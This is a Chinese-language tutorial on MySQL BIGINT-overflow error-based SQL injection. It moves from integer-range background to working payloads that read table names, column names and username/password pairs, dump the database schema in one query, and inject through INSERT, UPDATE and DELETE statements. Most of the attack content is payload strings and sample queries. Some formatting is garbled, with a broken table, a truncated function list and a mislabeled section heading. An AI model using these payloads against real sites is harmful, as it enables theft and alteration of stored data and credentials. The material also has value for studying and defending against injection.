sql注入BIGINT溢出
mysql 5.5.5及以上版本才有溢出错误
查看mysql文档来看看mysql存储数据的范围
11.2.1 Integer Types (Exact Value) - INTEGER, INT, SMALLINT, TINYINT, MEDIUMINT, BIGINT
MySQL supports the SQL standard integer types INTEGER (or INT) and SMALLINT. As an extension to the standard, MySQL also supports the integer types TINYINT, MEDIUMINT, and BIGINT. The following table shows the required storage and range for each integer type.
Table 11.1 Required Storage and Range for Integer Types Supported by MySQL
| Type | Storage (Bytes) | Minimum Value Signed | Minimum Value Unsigned | Maximum Value Signed | Maximum Value Unsigned |
|---|---|---|---|---|---|
TINYINT |
1 | -128 |
0 |
127 |
255 |
SMALLINT |
2 | -32768 |
0 |
32767 |
65535 |
MEDIUMINT |
3 | -8388608 |
0 |
8388607 |
16777215 |
INT |
4 | -2147483648 |
0 |
2147483647 |
4294967295 |
BIGINT |
8 | $ 2^63 $ | 0 |
BIGINT的长度为8字节64bit
1 | 0b0111111111111111111111111111111111111111111111111111111111111111 |
1 | MariaDB [test]> select 9223372036854775807; |
对这个数字加减就会产生溢出错误:
1 | MariaDB [test]> select 9223372036854775807+1; |
对0取反就可以得到这个数字
1 | MariaDB [test]> select ~0; |
引发注入攻击
mysql 查询成功后会返回0, 取逻辑非变为1
1 | MariaDB [test]> select (select * from flag); |
所以思路就是查询的结果加上BIGINT最大值(~0), 如果成功则相当于1+ ~0会产生溢出错误
1 | MariaDB [test]> select !(select * from flag)+~0; |
如果通过网页传递数据的话,+号会被转化成空格,所以可以替换成下面几种写法:
1 | !(select*from(select user())x)-~0 |
利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:
1 | select !atan((select*from(select user())a))-~0; |
下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)
1 | HEX |
0x003 提取数据
提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。
首先,我们来获取表名:
1 | !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 |
取得列名:
1 | select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0; |
检索数据:
1 | !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0; |

0x004 一次性转储
我们能够一次性转储所有数据库、列和数据表吗? 答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。
1 | !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 |

这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。

0x05 利用插入语句进行注入
利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”。
1 | mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre'); |
我们还可以使用DIOS查询。
1 | insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre'); |

0x06 利用更新语句进行注入
利用更新语句,我们照样可以进行类似的注入,具体如下所示:
1 | mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4; |
0x07 利用更新语句进行注入
同样的,我们也可以利用删除语句进行注入,具体如下所示:
1 | mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or ''; |


